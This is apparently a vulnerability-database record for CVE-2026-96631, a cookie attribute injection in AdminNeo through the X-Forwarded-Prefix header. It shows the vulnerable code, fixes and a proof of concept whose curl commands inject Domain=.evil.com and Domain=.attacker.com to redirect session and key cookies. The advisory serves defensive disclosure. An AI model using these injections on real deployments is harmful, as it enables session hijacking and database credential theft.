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Response snapshot Oct 31, 2026, 01:26 UTC

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VulnerabilityCVE-2026-96631

AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g.

Published Updated

At a glance

Exploited
Not known
Severity
8.2 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: adminneo-org/adminneo: 5.5.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-79wv-8rh2-9vp2 (opens a new tab)

What happened

Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

Continue reading

Vulnerable Code

Root cause 1 - Unsanitized header prepended to REQUEST_URI (admin/include/bootstrap.inc.php, lines 50–52):

if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
 $_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}

The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

Root cause 2 - Manual Set-Cookie header construction without escaping (admin/include/functions.inc.php, lines 416–424):

function cookie(string $name, string $value, int $lifetime = 2592000): void
{
 header("Set-Cookie: $name=" . rawurlencode($value)
 . ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
 . "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
 . (HTTPS ? "; secure" : "")
 . "; HttpOnly; SameSite=lax",
 false);
}

The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.

Root cause 3 - Session cookie also tainted (admin/include/bootstrap.inc.php, line 61):

session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);

The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.

Impact

- Session hijacking: The neo_sid session cookie is sent to the attacker's domain, allowing full session takeover. - Credential theft: The neo_key cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.

- Session fixation: An attacker can inject arbitrary Path, SameSite, and Secure attributes, manipulating cookie behavior. - Wide applicability: The X-Forwarded-Prefix header was specifically added to support reverse proxy deployments (Traefik PathPrefixStrip, nginx, HAProxy).

These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

Affected Cookies

|Cookie|Content|Risk| |neo_sid|PHP session ID|Session hijacking| |neo_key|Encryption key for stored DB passwords|Credential theft| |neo_settings|User preferences|Low (information disclosure)|

Proof of Concept

# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
 http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
 http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...

Recommended Fix

1. Sanitize X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the X-Forwarded-Prefix value before using it. 2. Use setcookie() / setrawcookie(): Replace the manual header("Set-Cookie: ...") construction in cookie() with PHP's built-in setcookie() function, which properly escapes attribute values. 3.

Validate REQUEST_URI before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie path attribute (;, ,, whitespace per RFC 6265).

// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
 $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
 $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}

Server Based Workaround Via Config

Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:

# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo; # static value, not $http_x_forwarded_prefix
# Traefik, use middleware instead of client headers:
middlewares:
 strip-prefix:
 stripPrefix:
 prefixes:
 - "/adminneo"

Affected package ranges reported by GitHub: adminneo-org/adminneo: >= 4.6.0, < 5.5.1

Scores and how they were measured

CVSS base severity

8.2

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-79wv-8rh2-9vp2 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-79wv-8rh2-9vp2, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 30). AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (CVE-2026-96631). https://kevwire.com/record/CVE-2026-96631

MLA

"AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (CVE-2026-96631)." KEVWire, 30 Oct. 2026, kevwire.com/record/CVE-2026-96631.

Chicago

KEVWire. "AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (CVE-2026-96631)." Last modified October 30, 2026. https://kevwire.com/record/CVE-2026-96631.

Evidence summary (plain text)

AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (Oct 30, 2026).
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.
CVSS 8.2 (version 3.1; evidence as of Oct 30, 2026; https://github.com/advisories/GHSA-79wv-8rh2-9vp2).
Sources:
GitHub-reviewed advisory GHSA-79wv-8rh2-9vp2: https://github.com/advisories/GHSA-79wv-8rh2-9vp2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-96631.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 31, 2026, 00:50 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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